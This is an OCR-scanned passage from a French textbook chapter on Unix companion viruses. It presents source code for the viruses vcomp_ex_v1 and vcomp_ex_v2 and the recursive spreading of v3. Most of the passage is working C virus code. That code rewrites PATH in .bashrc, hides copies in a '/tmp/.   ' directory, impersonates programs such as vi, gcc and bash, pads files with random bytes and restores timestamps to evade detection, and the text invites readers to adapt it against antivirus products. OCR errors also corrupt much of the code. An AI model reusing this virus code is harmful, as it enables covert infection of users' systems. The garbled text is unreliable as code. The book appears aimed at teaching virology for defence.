strcpy(chaine,"display"); strcat (chaine , argv[1J); system(chaine); Le programme Image View affichera effectivement l'image fournie en argument puis realisera l'infection.



9.2.2 Les faiblesses du virus vcomp_ex Le virus vcomp_ex que nous venons de presenter souffre toutefois de graves faiblesses. En effet, le detecter est tres facile - voire memc inevitable. II suffit que l'utilisateur emploie, cas frequent, la commande Is -als dans l'un des repertoires ou a eu lieu l'infection :



drwxr-xr-x drwxr-xr-x -rwxr-xr-x -rwxr-xr-x



2 12 1 1



user1 user1 user1 user1



users users users users



4096 4096 17778 8174



Feb 9 20:20 May 2 14:20 Apr 13 2002 prog1 Aor 13 2002 oroQ'1.o1d
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-rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x



1 1 1 1 1 1 1 1



user1 user1 user1 user1 user1 user1 user1 user1



users users users users users users users users



17778 5576 17778 3403 17778 6671 17778 7578



Apr Apr Apr Apr Apr Apr Apr Apr



13 13 13 13 13 13 13 13



2002 2002 2002 2002 2002 2002 2002 2002



prog2 prog2.old prog3 prog3.old prog4 prog4.old prog5 prog5.old



Un rapide examen des fichiers, de leur taille respective et de leur date 7 (a l'aide de la fonction stat) revel« clairement une situation anormale. De plus, le virus vcomp_ex presente un certain nombre de limitations et de faiblesses, qui, dans certains cas, peuvent provoquer des erreurs et trahir ainsi la presence du virus: - l'action du virus est limitee au repertoire courant. Dans la section 9.4, nous verrons comment etendre l'action de vcomp_ex; - la gestion des erreurs n'est pas optimale. L'usage des commandes system et chmod peut echouer (pour la liste des erreurs, consulter les pages man). II faut donc tester leur code de retour. En cas dcchcc, l'infection ne doit pas avoir lieu; - l'usage de la primitive execve peut egalement etre source d'erreurs. Cette fonction peut executer, soit un binaire, soit un script commencant par une ligne du type #! /bin/ (les interpreteurs les plus courants sont sh, bash, perl). Toutefois, cette ligne de directive peut etre absente parce que tout simplement l'utilisateur a omis de l'inclure. Lance directement au niveau du shell, le script fonctionne sans probleme, C'est un cas relativement frequent pour les scripts ecrits dans le langage de shell natif au systeme. En revanche, avec la commande execve, le script ne s'execute pas quand cette directive est absente et l'utilisateur risque de suspecter la presence de l'infection. Un autre probleme peut survenir, selon la configuration locale de la machine (contenu de la variable PATH), avec les chemins de I'executable auquel on veut transferer le controle : presence ou non du chemin . /. - L'introduction d'une charge finale est limitee par cette memc fonction execve. En effet, lors de son appel, le processus en cours (la partie virale du programme infecte appelant) est remplace par le code et les donnees du programme appele (I'hote proprement dit). II n'y a retour au processus appelant qu'en cas d'erreur (renvoi de la valeur -1). En 7



En fait, plusieurs « dates » sont disponibles : date de creation, de modification et de dernier acces.
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consequence, une evcntucllc charge finale ne peut etre placec qu'avant le transfert d'execution. Ce n'est pas souhaitable dans certains cas, par exemple lorsque la charge finale doit agir seulement apres ce transfert. - Si l'utilisateur vient a recompiler un programme deja infecte, le virus ne pourra plus le reinfecter. Ce cas est laisse a titre dexperience (voir les exercices en fin de chapitre).



9.3 Variantes opt.imisees et furtives de vcornp_ex Nous allons maintenant voir comment corriger ces limitations et ces defauts pour transformer le virus veomp_ex en un virus reellement operationnel (pour les hypotheses de travail definies au debut de la section 9.2) et pratiquement indetectable par les produits generiques 8 . Nous allons, en particulier, introduire quelques mccanismes de furtivite qui vont permettre au virus d'agir en « toute securite ». Deux versions, veomp_ex_vi et veomp_ex_v2 vont etre presentees.



9.3.1 Variante veomp_ex_vi Pour cette version, nous allons d'abord limiter la virulence. Cela aura pour effet (voir section 5.2) de diminuer sa detectabilite. Cette version n'infecte que certains executables tres utilises (sous Unix, notre environnement de reference) : les editeurs de texte vi et emacs, le compilateur gee, les ou tils de compression gz i p/ gunz i p, l' ou til de recherche de chaines de caracteres dans les fichiers grep et l'interface de consultation du manuel en ligne man. Tous ces programmes sont localises dans le repertoire /usr/bin/. Nous y ajouterons les executables suivants, contenus dans le repertoire /bin : le shell bash, les commandes de modification de droits ehmod et ehown, la commande de montage de peripherique mount et l'utilitaire d'archivage tar. Tout utilisateur emploie au moins une fois par session, une ou plusieurs de ces commandes, ne serait-ce que vi ou man.



Operations prelirninaires Pour pouvoir agir, le virus doit modifier la variable d'environnement PATH. En effet, lors de l'appel du programme legitime, par exemple gee ou vi, la 8



II reste evident qu'un programme specifiquement ecrit pour ce virus le detectera et l'eradiqucra. Cela illustre d'une part la difficulte de lutter contre certains virus et vers et d'autre part la necessite vitale, pour un administrateur, de connaitre l'algorithmique virale pour etre capable de concevoir un script antiviral. Voir les exercices en fin de chanitre.



Les virus compagnons



248



partie virale de ce programme, une fois celui-ci infecte, doit etre executee prioritairement. Le virus va donc modifier, dans le fichier . bash_profile de l'utilisateur, la variable PATH. II en resulte une modification dintegrite de ce fichier. Cela ne pose pas de probleme pour autant. En effet, l'utilisateur possede les droits en ecriturc sur ce fichier et lui-meme est susceptible de modifier, assez frequemment, la variable PATH. De plus, la modification qui sera introduite sera rendue la plus imperceptible possible. Dans la plupart des cas, les utilisateurs ne la detectent pas. Le virus vcomp_ex_v1 va ensuite camoufler la partie virale dans un repertoire cache et inaccessible a l'utilisateur (inaccessible car l'utilisateur ne connait meme pas son nom). Ce repertoire sera localise dans / t.mp", accessible en ecriturc et en execution pour tous les utilisateurs et sera nommec . (fichier cache dont le nom est forme d'un ou plusieurs espaces, ici trois espaces, visualises a l'aide du caractere _). Le virus doit donc crecr le repertoire en question grace a la fonction int mkdir(const char *nom_repertoire, mode_t mode) ; (bibliotheques sys/stat. h sys/types. h). Precisons que l'existence d'un tel repertoire dans le systeme signe une infection antcrieurc. La prevention de la surinfection sera donc plus facile que pour le virus vcomp_ex. II suffit d'essayer de l'ouvrir (fonction opendir). Si l'utilisateur liste les fichiers dans le repertoire /tmp (commande Is -1), le resultat suivant est affiche :



total 36 drwx-----drwx-----drwx-----drwx-----drwx-----drwx-----drwx-----drwx-----drwxrwxrwx



2 2 2 2 2 3 3 2 6



root user1 root user1 root user1 root root root



root users root users root users root root root



4096 4096 4096 4096 4096 4096 4096 4096 4096



Feb 9 19:28 YaST2.tdir Feb 11 07:02 kde-user1 May 5 16:40 kde-root Feb 11 07:11 ksocket-user1 May 5 16:48 ksocket-root Feb 11 07:11 mcop-user1 May 5 16:48 mcop-root Feb 9 20:38 root-netscape May 6 22:02 soffice.tmp



En revanche, il peut souhaiter faire apparaitre les fichiers caches en utilisant la commande Is -als, ce qui donne:



total 64 9



Bien evidernment, tout autre repertoire possedant les droits ci'ecriture et d'execution pour l'utilisateur, fera l'affaire. De meme, le nom proprement dit du fichier cache pourra varier, notamment d'une machine infectee a une autre (nom de repertoire genere aleatoirement lors de la nrimo-infection) .
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4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4



drwxrwxrwt 15 root drwxr-xr-x 2 user1 drwxr-xr-x 22 root drwxrwxrwt 2 root -r--r--r-- 1 root drwxrwxrwt 2 root drwxr-xr-x 2 root drwx------ 2 root drwx------ 2 user1 drwx------ 2 root drwx------ 2 user1 drwx------ 2 root drwx------ 3 user1 drwx------ 3 root drwx------ 2 root drwxrwxrwx 6 root



root users root root root root root root users root users root users root root root



4096 4096 4096 4096 11 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096



May May May May May May Feb Feb Feb May Feb May Feb May Feb May



12 12 12 5 12 12 9 9 11 5 11 5 11 5 9 6



14:34 14:35 14:21 16:48 14:28 14:28 20:10 19:28 07:02 16:40 07:11 16:48 07:11 16:48 20:38 22:02
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. ICE-unix .XO-lock .X11-unix .qt YaST2.tdir kde-user kde-root ksocket-user1 ksocket-root mcop-user1 mcop-root root-netscape soffice.tmp



Un repertoire courant additionnel figure maintenant a cote des repertoires courant. et parent ... En admettant que l'utilisateur le remarque, il ne sera pas en mesure de lister son contenu, ni d'aller dans ce repertoire. En effet, pour cela, il doit en connaitre le nom exact (le nombre exact d'espaces). Une possibilite est d'utiliser la commande stat .* qui fournit les informations necessaires sur le repertoire cache (voir la description de cette commande avec man stat) II File: ". Size: 4096 Blocks: 8 Device: 303h/771d Inode: 328583 Access: (0755/drwxr-xr-x) Uid: (500/ user1) Gid: Access: Man May 12 21:32:29 2003 Modify: Man May 12 21:32:29 2003 Change: Man May 12 21:32:29 2003



Directory Links: 2 100/



users)



Notons que pour la plupart des utilisateurs, l'existence du repertoire cache a de fortes chances de rester insoupconnee, De nombreuses autres possibilites existent cependant, pour rendre ce repertoire vraiment furtif, excepte si l'utilisateur examine de manierc poussee le systeme. Le debut du code du virus vcomp_ex_v1 est donc le suivant (nous ne donnerons que le code correspondant a la primo-infection; nous supposons que ce programme est diffuse sous le nom ImazeVi.ew. loziciel nermettant de visionner des imaaes) :
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#include #include #include #include #include #include #include







/*definition des variables */ struct stat info_fichier; int stat_retour; FILE * file_out, * file_in; char car, chaine [64] ; struct passwd * pass; char * ch, * p1, * new_ch, * repertoire_cache; int i,taille; /* Liste des fichiers cibles */ char * cible[12] = {"vi","emacs","gcc","gzip", II gunzip II , II grep II ,"man" ,"bash" , "chmod", "chown", "mount", "tar"}; /* programme*/ int main(int argc,char * argv[ ] ,char * envp[ ]) {



/* Lancement de la fonctionnalite declaree */ /* de l'executable (primo-infection) */ strcpy(chaine, "display"); strcat (chaine , argv[1]); /* Si probleme, fin du programme */ if(system(chaine) == -1) exit(O); /* Creation du nom du repertoire cache */ repertoire_cache = "/tmp/. "; /* Verification de la surinfection */ /* Si Ie fichier repertoire est accessible */ /* en ouverture, l'infection a deja eu lieu */ if(ooendir(reoertoire cache)) exit(O):
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/* Creation du repertoire */ /* avec gestion de l'erreur eventuelle */ if (mkdir(repertoire_cache , 0777)) exit(O);



Dans le cas d'une infection anterieure, le virus ne fait rien, dans notre code. Nous prcsentons ici le code realisant la premiere infection (primo-injection). Dans une implementation reelle, soit le virus lancera une fonction donnee et attendue par l'utilisateur, soit une charge finale sera activee. L'instruction ex i t CO) ; sera alors remplacee par une fonction charge_finale() ou une fonction fonction_attendue (). Cette implementation reelle sera consideree un peu plus loin. La, l'imagination du programmeur est, encore une fois, au pouvoir. La variable PATH sera donc modifiee en consequence pour que les programmes localises dans ce repertoire puissent etre executes en premier. Contrairement a ce que nous verrons dans la version presentee dans la section 9.3.2, c'est ici la partie virale de chaque programme infecte qui est dissimulee. Cela impose bien de modifier la variable PATH. Cependant, l'environnement de l'utilisateur peut varier. En regIe generale, deux fichiers sont impliques dans la configuration de l'environnement de l'utilisateur (en particulier, la variable PATH), tous deux localises, comme fichiers caches, a la racine du compte de l'utilisateur : - le fichier . bash_profile. II est lu a l'ouverture de la session (login shell) . - le fichier . bashrc. II est lu a l'ouverture d'un sous-shell (invocation de la commande bash). II peut etre egalement appele directement a partir du fichier /etc/profile qui contient la configuration par defaut, commune a tous les utilisateurs. Le fichier . bashrc contient, lui, la configuration specifique a chacun d'eux. Si ces deux fichiers n'existent pas, le fichier generique /etc/profile est alors utilise. Le virus devrait tester et par consequent, prendre en compte toutes les possibilites, a la fois dans un souci de portabilite et de furtivite (gestion des erreurs), crecr en consequence les fichiers manquants et activer ces derniers en cas de besoin pour actualiser l'environnement (utilisation de la commande source). Nous laisserons cela au lecteur a titre d'exercice (voir section en fin de chapitre). Nous supposons - cas frequemment rcncontre - que seulle fichier . bashrc est present et qu'il est active directement au niveau du fichier /etc/profile. Toutefois, un autre probleme intervient : celui de determiner OU se trouve le fichier . bashrc. En effet. le virus. aui neut etre execute dennis u'imnorte
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quel repertoire, ne connait pas a priori le nom de l'utilisateur executant le virus, ni son repertoire de connexion (celui contenant le fichier . bashrc). Le virus doit donc determiner ces donnees. Deux fonctions existent pour cela : la fonction char *getlogin (void) ; de la bibliotheque unistd. h renvoie le nom de l'utilisateur tandis que la fonction struct passwd *getpwnam(const char *nom_utilisateur) ; (bibliotheque sys/types. h) retourne un pointeur sur une structure passwd (definie dans la bibliotheque pvd . h) contenant les informations suivantes (obtenues dans le fichier letc/passwd)



struct passwd { *pw_name; char *pw_passwd; char uid_t pw_uid; gid_t pw_gid; char *pw_gecos; char *pw_dir; char *pw_shell;



1* 1* 1* 1* 1* 1* 1*



nom utilisateur *1 mot de passe utilisateur id utilisateur *1 id groupe *1 nom reel *1 repertoire HOME *1 programme shell *1



*1



};



Le code se poursuit alors ainsi (notons que la modification du PATH n'intervient qu'apres avoir controle qu'il n'y avait pas infection ant.erieure}, en verifiant prealablement cette hypothese (si elle est fausse, le virus ne fait rien) :



1* 1* 1* 1*



Determination des donnees *1 necessaires concernant Ie *1 fichier .bashrc avec gestion *1 des erreurs eventuelles *1 if(!(ch = getlogin())) exit(O); if(!(pass = getpwnam(ch))) exit(O);



1* Creation de la chaine $HOME/.bashrc *1 strcpy(chaine,pass->pw_dir); strcat(chaine,l/.bashrc"); if(stat_retour = stat (chaine , &info_fichier)) exit(O); taille = (int)info_fichier.st_size;



1* Debut de la modification du .bashrc *1 if(!(ch



(char *)calloc(taille+30, sizeof(char)))) exit(O); if(!(file in = fooen(chaine."r"))) exit(O): =
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if(!(file_out = fopen("file_tmp","w"))) exit(O); i = 0;



while(fscanf(file_in,"%c",&car),!feof(file_in)) ch[i++] = car; /* si la variable PATH est presente dans .bashrc */ if(p1 = strstr(ch,IPATH=")) {



new_ch = (char *)calloc(taille+50, sizeof(char)); strncpy(new_ch,ch,strlen(ch)-strlen(p1)); strcat(new_ch, "PATH="); strcat(new_ch,"/tmp/.\\ \\ \\ :$"); strcat(new_ch,(p1+6)); fwrite(new_ch,1,taille+13,file_out); }



/* sinon la raj outer une fois actualisee */ else {



fwrite(ch,1,taille,file_out); fprintf(file_out,"PATH=/tmp/.\\ \\ \\ :$PATH\n"); fprintf(file_out,"export PATH"); }



/* Actualisation du shell */ if(rename("file_tmp",chaine)) exit(O); strcpy(new_ch,". "); strcat(new_ch,chaine); if(system(new_ch) == -1) exit(O); Les operations preliminaires sont achevees. L'infection peut debuter.



Recherche des fichiers



a infecter



Dans cette phase, seuls certains fichiers vont etre infectes, Cela limite la fonction de recherche a des emplacement connus. En fait, le mecanisme de duplication est reduit a sa plus simple expression. II se limite a copier . De cette maniere, les fichiers le virus dans le repertoire cache /temp/. cibles restent intacts.



/* La primo-infection peut maintenant commencer */ /* Les cibles sont traitees par une boucle */ for(i = O;i < 12;i++) {
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1* Duplication du virus *1 strcpy(new_ch," cp "); strcat(new_ch,argv[O]); strcat(new_ch," Itmp/.\\ \\ \\ I"); strcat(new_ch, cible[i]); if(system(new_ch) == -1) continue; 1* Chaque copie du virus est rendue executable p1 = strstr(new_ch,l/tmp"); chmod(p1, S_IRWXU);



*1



} }



L'Implernentat.ion reelle de vcomp_ex_v1 Le code presente jusque-la est cependant encore incomplete Il rie traite que la primo-infection. Le Bash a ete configure de sorte que la partie virale du programme vi, par exemple, presente dans le repertoire cache, soit lancee avant I'editeur attendu, lusr/bin/vi. Par consequent, lors de l'utilisation de vi, rien ne se produira car le transfert au programme legitime ne se fait pas. Pour modifier le code, il faut d'abord considerer tous les cas possibles. Ils sont resumes dans le pseudo-code suivant :



si (programme appelant



=



ImageView) alors



{



si (/tmp/.\ \ \ I existe) alors afficher image en argument sinon infection() }



1* Ie programme appelant est l'un des 12 infectes *1 sinon {



pas d'infection; charge_finale(); transfert au programme hate; }



Le code en langage C correspondant (les pointilles designent le corps viral prcsentc precedemment dans le cadre de la primo-infection)



1* l'executable appelant est-il ImageView *1 if (strstr(arQ"vrOl .IImaQ"eView"))
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{ }



/* l'executable appelant est donc un hote infecte */ else {



charge_finale (argc , argv, envp); i = 0;



/* Creation du nom avec chemin absolu du programme hote */ while(!strstr(argv[O] ,cible[i])) i++; if(i < 7) strcpy(new_ch,"/usr/bin/"); else strcpy(new_ch,"/bin/"); strcat(new_ch,argv[O]); execve(new_ch, argv, envp); }



La charge finale pourra dependre du programme hate considere, Dans la mesure ou ce n'est pas la partie essentielle du virus, pour l'aspect des choses que nous considerons, elle est laissee a l'imagination du lecteur. Cependant, a titre d'exemple, notons que si l'utilisateur venait a utiliser la commande which pour determiner le chemin du programme vi, par exemple, cette dernicre afficherait /tmp/ . /vi. Cela ne manquerait pas de l'intriguer. Pour le referentiel choisi, en terme d'utilisateur, ce risque est tres limite et l'usage de la commande which est assez rare pour les programmes cibles choisis. Pour interdire totalement ce risque, il suffirait alors d'inclure la commande which dans les cibles visees. La charge finale alors consisterait a renvoyer le chemin de la commande legitime. Cet artifice a ete utilise pour le virus YMUN20, prcsentc dans le chapitre 16. Nous verrons que la, c'est la commande ps (affichage des processus actifs) qui est leurree. Dans cette variante, selon les utilisateurs vises, le choix des programmes infectes pourra varier.



9.3.2 Variante vcomp_ex_v2 Le virus vcomp_ex_vi permettait d'infecter des fichiers pour lesquels l'utilisateur ne posscde pas les droits en ecriture, ce qui interdit de les renommer ou de les deplacer. La contrepartie est, qu'il est necessaire de modifier un fichier (. bashrc). Cependant, cette modification peut etre rendue quasiment indetectable (voir exercices). La version vcomp_ex_v2, quant a elle, va infecter les fichiers sur lesquels l'utilisateur nossede les droits en ecriture. Sans nerte de Q'eneralite. nous SUD-
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poserons que le repertoire courant est dans la variable PATH. Pour traiter tout autre cas, il suffit de reprendre les techniques presentees pour vcomp_ex_vi. Les etapes de fonctionnement de cette variantc!" sont les suivantes : 1. Le virus teste la presence d'un repertoire cache (cas de la primo-infection). En cas d'absence, il est cre«. Nous conserverons /tmp/. comme repertoire cache. 2. Le virus recherche des cibles a infecter (dans le repertoire courant pour cette version). Afin de leurrer l'utilisateur, apres infection, la taille initiale du programme hate doit rester la memc. Pour cela, le virus n'infectera que les executables dont la taille est superieure a la sienne. Lors de la duplication du code, le virus rajoutera ensuite des octets aleatoires a la fin du virus. Ainsi, si le programme infecte PI (constitue de la partie virale VI de taille tl et du programme hate hI) attaque un programme sain h 2 de taille t2, il y aura infection si t2 2:: tl et apres infection, nous aurons un couple (V2' h 2 ) tel que



3. La surinfection est ensuite vcrifice. Elle consiste a tester si le fichier cible en cours est present dans un repertoire cache. Si cela est le cas, le fichier a ete traitc par le virus. 4. Chaque cible eligible pour l'infection est alors deplaccc dans le repertoire cache. 5. Le virus se duplique en creant un fichier de memc taille et portant le memc nom que I'executable cible deplacc. De plus, les dates de dernier acces et de derniere modification du fichier cible sont restaurees pour la partie virale. 6. Le virus, enfin, transfere le controle au programme hate que l'utilisateur vient d'appeler. Dans ce qui suit, nous supposons encore une fois que la primo-infection est assuree par le programme ImageView. Le programme suivant est donne dans une version didactique. Le lecteur pourra en optimiser le code. Cependant, il n'est pas sur que cela diminue la taille finale de I'executable sans une reccriture relativement importante du code. Rappelons que plus le code viral sera petit, plus grand sera le nombre de fichiers qu'il pourra infecter. 10



Rappelons qu'un executable infecte par un virus compagnon se compose de deux parties : la partie virale, appclec en premier, et la partie hate, appclce par la partie virale lors du transfert de controle.
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De copie en copie, le virus aura une virulence limitee. En effet, le virus n'infectant que les fichiers plus gros que lui, chaque copie du virus augmentera (partie virale d'un programme infecte). Cela limitera donc les possibilites d'infections nlterieures a partir de ces copies. Nous voyons la qu'un compromis doit etre trouve. Selon ce que souhaite le programmeur, l'alternative est: - soit de restreindre ainsi la virulence du virus par cette limitation naturelle; nous avons donc la une fonctionnalite elegante permettant une diminution de la virulence dans le temps; - soit inclure des instructions supplementaires memorisant la taille originelle du virus et ne recopiant que le code de depart de ce dernier. Cela maintient la virulence de depart du virus mais en contre-partie, la taille originelle du virus, stockee dans le code viral constitue une signature qu'un antivirus saura exploiter (voir exercice en fin de chapitre). Cette alternative illustre un aspect assez frequent en virologie. II est souvent necessaire de faire un compromis entre des fonctionnalites qui s'opposent. Le programmeur devra donc faire un choix, privilegier un aspect au detriment d'un autre. La limitation qui en resulte peut alors etre percue comme une erreur de conception, ce qui n'est pas le cas.



Operations prelirninaires Le programme infecte appelant (ImageView lui-meme ou un autre programme infecte) va effectuer un certain nombre de verifications. En premier lieu (apres avoir lance la fonctionnalite attendue dans le cas du programme ImageView), il va calculer sa propre taille (grace a la fonction stat et au champ st_size). Cette information est indispensable pour le processus d'infection, qui ne concernera que les programmes de taille superieure a celle du virus. Donnons le code correspondant.



#include #include #include #include #include #include #include #include #include
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I*definition des variables *1 DIR * repertoire; struct dirent * rep; struct stat info_fichier; int i, stat_retour; FILE * hote; char * ch, * repertoire_cache; char * ch2; unsigned long int taille_virus, taille_cible, diff; struct utimbuf * dates; int main(int argc, char * argv[], char * envp[]) {



1* l'executable appelant est-il ImageView *1 if (strstr(argv[O] ,IImageView")) {



1* Lancement de la fonctionnalite declaree *1 1* de l'executable (primo-infection) *1 strcpy(ch2, "display"); strcat(ch2, argv[1]);



1* Si probleme, fin du programme *1 if(system(ch2)



==



-1) exit(O);



}



1* Debut de l'infection *1 1* Creation du nom du repertoire cache *1 repertoire_cache = "/tmp/. "; 1* Creation du nom programme appelant strcpy(ch, repertoire_cache); strcpy(ch, "/"); strcat(ch,argv[O]);



*1



1* Auto-determination de la taille du virus *1 if(stat((const char *)argv[O],&info_fichier)) {



1* Si erreur, l'infection se termine *1 1* Le contrale est transfere au programme hate *1 execve(ch.



ar~v.



envo):
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}



taille virus



=



info fichier.st_size;



Le virus teste ensuite si le repertoire cache existe. II est absent dans le cas de la primo-infection, auquel cas il est cree.



/* Test de presence du repertoire cache */ if(!opendir(repertoire_cache)) {



/* Si absent, creation du repertoire */ /* Si erreur, contrale transfere au */ /* programme hote */ if(mkdir(repertoire_cache,0777)) execve(ch, argv, envp); }



Recherche des fichiers et controle de la surinfection L'infection est limitee au repertoire courant. II est donc dans un premier temps ouvert. Le virus recherche ensuite les fichiers reguliers executables qui s'y trouvent. Le controle de la surinfection consiste alors simplement a rechercher la presence d'un fichier de memc nom dans le repertoire cache et a tenter de l'ouvrir en lecture. Unc ouverture reussie signifie que le fichier en cours est deja une copie du virus.



/* Ouverture du repertoire courant */ /* Si erreur, contrale transfere au */ /* programme hate */ if(!repertoire = opendir(".")) execve(ch, argv, envp); /* Parcours de tous les fichiers */ while(rep = readdir(repertoire)) {



/* Recuperation des infos fichier */ /* Si erreur passage au fichier suivant */ if(stat_retour = stat(&rep->d_name,&info_fichier)) continue; else {



/* Est ce un fichier regulier executable ? */ if((info_fichier.st_mode & S_IXUSR) && (info_fichier.st_mode & S_IFREG)) {



/* Test de la surinfection */
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strcpy(ch2, repertoire_cache); strcat(ch2,1/"); strcat(ch2,&rep->d_name); /* Si fichier present, passage au fichier suivant */ if(fopen(ch2,l r") continue; Infection et transfert de controle Pour chaque fichier infecte, le virus recupcrc sa taille (champ st_size de la structure rctournec par la fonction stat) ainsi que les dates de dernier accos et de derniere modification du fichier (champs st_atime et st_mtime de la mcme structure). Ces deux dernieres donnees seront utilisees par la fonction int utime (cons t char *fichier, struct utimbuf *buf) ; ou la structure en second argument est de la forme :



struct utimbuf { time_t actime; /* acces */ time_t modtime; /* modification */ };



Toutes ces valeurs (taille et dates) seront utilisees afin de faire croire, apres infection, que ces parametres sont inchanges, et, par consequent, que le fichier n'a pas ete modifie, Ce sont des techniques de base en furtivit.e. Le virus compare cette taille avec la sienne propre. L'infection ne se poursuit que si cette derniere est inferieure a celle de la cible en cours. Dans ce cas, la cible est deplacee dans le repertoire cache (les droits en execution sont conserves). Le virus ensuite se duplique en prenant sa place et en rajoutant autant d'octets que necessaire pour atteindre la taille originelle du fichier cible. Les donnees sont generees aleatoirement, octet par octet, en utilisant les fonctions int r-and Ivo i.d) ; et void srand(unsigned int graine) ; de la bibliotheque stdlib . h. La graine est changee pour chaque fichier, grace a la fonction time_t time(time_t *t) ; (bibliotheque time.h) donnant le temps en secondes ecoulees depuis la naissance d'Unix (00:00:00 UTC, 1er janvier 1970)



/* Recuperation de la taille du fichier en cours */ /* et de ses dates d'acces/modification */ taille_cible = info_fichier.st_mode; dates.actime = info_fichier.st_atime; dates.modtime = info fichier.st mtime:
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/* Comparaison des tailles virus-cible */ /* Si taille incorrecte, passage au fichier suivant */ if(taille_cible < taille_virus) continue; /* Deplacement du fichier */ /* Si echec, passage au fichier suivant */ strcpy(ch2," cp "); strcat(ch2,&rep->d_name); strcat(ch2," "); strcat(ch2,repertoire_cache); if(system(ch2) == -1) continue; /* Debut du processus de duplication */ if(hote = fopen(&rep->d_name,"w")) {



/* Copie du virus */ strcpy(ch2," cp "); strcat(ch2,argv[O]); strcat(ch2," "); strcat(ch2,&rep->d_name); /* Si erreur, passage au fichier suivant */ if(system(ch2) == -1) continue; /* Initialisation de la generation d'alea */ /* avec l'horloge interne */ srand(time(NULL)); diff = taille_cible - taille_virus; ch = (char *)calloc(diff,sizeof(char)); for(i = O;i < diff;i++) {



/* Generation de octets aleatoires */ ch[i] = (int) (255.0*rand()/(RAND_MAX+1.0)); }



/* Ecriture des octets aleatoires */ fwrite(ch,1,diff,hote); fclose(hote); free(ch); 1-
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/* Restauration de la date du fichier cible */ utime(&rep->d_name, &date); /* Les droits en execution sont maintenus */ /* Si erreur alors Ie fichier cible est restaure */ /* (Gestion des erreurs) */ if (chmod(&rep->d_name,S_IRWXU S_IXGRP I S_IXOTH) == -1) {



strcpy(ch," Cp "); strcat(ch,repertoire_cache); strcat(ch,"/"); strcat(ch,&rep->d_name); strcat(ch," ."); }



closedir(rep); } /* Fin boucle while */



/* Transfert de controle a l'hote */ /* Si ce n'est pas la primo-infection */ if (strstr(argv[O] ,IImageView")) {



stcpy(ch,repertoire_cache); strcat(ch,"/"); strcat(ch,argv[O]); execve(ch, argv, envp); }



} /* Fin du virus */ II est interessant d'expliquer pourquoi les donnees rajoutees pour atteindre la taille initiale de la cible sont generees aleatoirement. Dans le virus X23 de Mark Ludwig, ce processus etait code de la manierc suivante (version corrigce et optimisee par l'auteur) :



if(virus = fopen(argv[O] ,"r")) {



if(hote



=



fopen(&rep->d_name,"w"))



{



/* Conie du virus */
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while(!feof(virus)) {



taille_lue = 512; amt_read=fread(ch,1,taille_lue,virus); fwrite(ch,1,taille_lue,hote); taille_hote -= taille_lue; }



/* Rajout des octets manquants pour */ /* atteindre taille_hote initiale */ taille_lue=512; while (taille_hote) {



taille_lue = fwrite(ch,1,taille_lue, hote); taille_hote -= taille_lue; taille_lue = (taille_hote < taille_lue)?taille_hote:taille_lue; } }



fclose(hote); }



fclose(virus); Dans cette configuration, les octets rajoutes sont les derniers octets Ius dans le code viral (derniere iteration de la boucle while ( !feof (virus) ). Or, cela peut constituer une faiblesse qu'un antivirus ne saurait laisser passer (voir exercice). En effet, la presence d'instructions apres les donnees habituelles indiquant la fin d'un executable sera facilement detectable. Cencrcr ces instructions aleatoirement permet de supprimer cette faiblesse.



9.3.3 Conclusion Au final, les virus vcomp_ex_v1 et vcomp_ex_v2 sont des virus efficaces, et, pour le type d'utilisateur choisi, pratiquement indetectables, Selon le type de cibles visees et la nature des utilisateurs vises, l'un ou l'autre sera preferable. Mais a eux deux, ils couvrent tous les cas de figures que nous pouvons rencontrer. Bien sur, le lecteur pourra en modifier les principales caracteristiques (nom du programme assurant la primo-infection, localisation et nom du repertoire cache... ) afin de leurrer les antivirus. Cependant, ces deux virus ont encore une portce limitee dans la mesure ou ils ne traitent aue les executables du renertoire courant. Dans le cas d'un
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utilisateur plus prudent que la moyenne et qui reserverait un repertoire dedie uniquement a I'cxecution de programmes exterieurs, ces deux virus seraient inefficaces. Voyons maintenant comment etendre l'action d'un virus a tout ou partie de l'arborescence.



9.4 Le virus compagnon vcomp_ex_v3 La variante vcomp_ex_v3 reprend, pour l'essentiel, le concept du virus vcomp_ex_v2. Par consequent, le code complet n'en sera pas fourni. Le lecteur I'ecrira a titre d'exercice. Nous ne verrons que les parties de code specifiques a cette version. Ici, le but est d'augmenter la virulence du virus en etendant son action sur un plus grand nombre de repertoires. Un moyen elegant, simple et puissant est d'utiliser les fonctions de la bibliotheque ftw. h :



int ftw(const char *rep_depart,int (*fonct)(const char *fichier, const struct stat *etat,int attributs), int profondeur); int nftw(const char *rep, int (*fonct)(const char *fichier, const struct stat *sb, int flag, struct FTW *s), int profondeur, int flags); Ces fonctions permettent une exploration recursive des sons-repertoires du repertoire de depart rep et, pour chacun d'eux, I'execution de la fonction fonct fournie sous la forme d'un pointeur de fonction. Comme le nombre total de descripteurs de fichiers disponibles pour un processus donne est limite, il est necessaire de fixer une limite, au-dela de laquelle, toute utilisation d'un nouveau descripteur requiert la liberation prealable d'un autre. Pour cela, le parametrc profondeur indique le nombre maximum de (sous- )repertoires que le programme peut ouvrir simultanement. Au-dela de cette limite, les fonctions ftw et nftw deviendraient plus lentes, pour gerer ce probleme du nombre des descripteurs. Nous laisserons le lecteur consulter la page man decrivant leur syntaxe precise, ainsi que [26, page 546 et suiv.]. Nous nous limiterons, dans ce chapitre, a la fonction ftw. La fonction nftw permettra cependant une gestion encore plus fine de notre virus et une meilleure prise de controle sur l'arborescence. Lorsque la fonction fonct est appelee, elle recoit trois parametres pour chaque element du repertoire en cours de traitement 1. le nom de I'elernent en cours de traitement :
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2. une structure stat, identique a celIe decrite au debut du chapitre. Elle contient toutes les informations concernant cet element; 3. un indicateur de type d'entree permettant de gerer l'utilisation de la fonction fonct relativement a la nature de I'element. Les valeurs possibles sont decrites dans la table 9.2. IValeur



Signification



FTW - F



element de type fichier



FTW - D



element de type repertoire



FTW - DNR



element de type repertoire dont le contenu ne peut etre lu



FTW - SL FTW - NS



element de type lien symbolique echec de l'appel TAB.



a la fonction



stat (structure etat non valide)



9.2. Types possibles pour la fonction ftw



